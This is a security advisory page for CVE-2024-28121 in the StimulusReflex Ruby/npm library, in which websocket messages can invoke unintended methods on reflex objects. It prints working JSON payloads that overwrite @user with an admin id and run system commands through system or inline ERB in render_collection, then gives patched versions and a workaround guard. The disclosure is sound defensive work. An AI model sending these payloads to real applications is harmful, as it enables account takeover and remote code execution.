Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1mNzhqLTR3M2ctNHE2Nc4AA56t
StimulusReflex arbitrary method call
Summary
More methods than expected can be called on reflex instances. Being able to call some of them has security implications.
Details
To invoke a reflex a websocket message of the following shape is sent:
{
"target": "[class_name]#[method_name]",
"args": []
}
The server will proceed to instantiate reflex
using the provided class_name
as long as it extends StimulusReflex::Reflex
.
It then attempts to call method_name
on the instance with the provided arguments ref:
method = reflex.method method_name
required_params = method.parameters.select { |(kind, _)| kind == :req }
optional_params = method.parameters.select { |(kind, _)| kind == :opt }
if arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
reflex.public_send(method_name, *arguments)
end
This is problematic as reflex.method(method_name)
can be more methods than those explicitly specified by the developer in their reflex class. A good example is the instance_variable_set
method.
This variable can be overwritten using the following message:
{
"target": "ChatReflex#instance_variable_set",
"args": ["@user", "<admin-id>"]
}
Here are other interesting methods that were found to be available for the ChatReflex sample reflex
remote_byebug
: bind a debugging serverpry
: drop the process in a REPL session
All in all, only counting :req
and :opt
parameters helps.
For example around version 1.0 only .arity
was checked which allowed access to the system
method (.arity == -1
)
{
"target": "ChatReflex#system",
"args": ["[command here]"]
}
Using public_send
instead of send
does not help but the following payloads do not work since :rest
parameters are not counted in the current version
{
"target": "ChatReflex#send",
"args": ["system", "[command here]"]
}
{
"target": "ChatReflex#instance_eval",
"args": ["system('[command here]')"]
}
Pre-versions of 3.5.0 added a render_collection
method on reflexes with a :req
parameter. Calling this method could lead to arbitrary code execution:
{
"target": "StimulusReflex::Reflex#render_collection",
"args": [
{ "inline": "<% system('[command here]') %>" }
]
}
Patches
Patches are available on RubyGems and on NPM.
The patched versions are:
Workaround
You can add this guard to mitigate the issue if running an unpatched version of the library.
1.) Make sure all your reflexes inherit from the ApplicationReflex
class
2.) Add this before_reflex
callback to your app/reflexes/application_reflex.rb
file:
class ApplicationReflex < StimulusReflex::Reflex
before_reflex do
ancestors = self.class.ancestors[0..self.class.ancestors.index(StimulusReflex::Reflex) - 1]
allowed = ancestors.any? { |a| a.public_instance_methods(false).any?(method_name.to_sym) }
raise ArgumentError.new("Reflex method '#{method_name}' is not defined on class '#{self.class.name}' or on any of its ancestors") if !allowed
end
end
Permalink: https://github.com/advisories/GHSA-f78j-4w3g-4q65JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNzhqLTR3M2ctNHE2Nc4AA56t
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 2 months ago
Updated: about 1 month ago
CVSS Score: 8.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-f78j-4w3g-4q65, CVE-2024-28121
References:
- https://github.com/stimulusreflex/stimulus_reflex/security/advisories/GHSA-f78j-4w3g-4q65
- https://github.com/stimulusreflex/stimulus_reflex/commit/538582d240439aab76066c72335ea92096cd0c7f
- https://github.com/stimulusreflex/stimulus_reflex/commit/d823d7348f9ca42eb6df25574f11974e4f5bc88c
- https://nvd.nist.gov/vuln/detail/CVE-2024-28121
- https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83
- https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.4.2
- https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.5.0.rc4
- http://seclists.org/fulldisclosure/2024/Mar/16
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/stimulus_reflex/CVE-2024-28121.yml
- https://github.com/advisories/GHSA-f78j-4w3g-4q65
Blast Radius: 43.9
Affected Packages
npm:stimulus_reflex
Dependent packages: 2Dependent repositories: 308
Downloads: 48,890 last month
Affected Version Ranges: < 3.4.2, >= 3.5.0.pre0, < 3.5.0.rc4
Fixed in: 3.4.2, 3.5.0.rc4
All affected versions: 0.3.4, 0.3.5, 0.3.6, 0.3.7, 1.0.0, 1.0.1, 1.0.2, 1.1.0, 1.1.1, 2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.1.5, 2.1.6, 2.1.7, 2.1.8, 2.1.9, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 3.0.0, 3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.3.0, 3.4.0, 3.4.1, 3.4.2
All unaffected versions:
rubygems:stimulus_reflex
Dependent packages: 5Dependent repositories: 318
Downloads: 877,000 total
Affected Version Ranges: < 3.4.2, >= 3.5.0.pre0, < 3.5.0.rc4
Fixed in: 3.4.2, 3.5.0.rc4
All affected versions: 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.12, 0.2.0, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 1.0.0, 1.0.1, 1.0.2, 1.1.0, 1.1.1, 2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.1.5, 2.1.6, 2.1.7, 2.1.8, 2.1.9, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 3.0.0, 3.1.2, 3.1.3, 3.1.4, 3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.3.0, 3.4.0, 3.4.1, 3.4.2
All unaffected versions: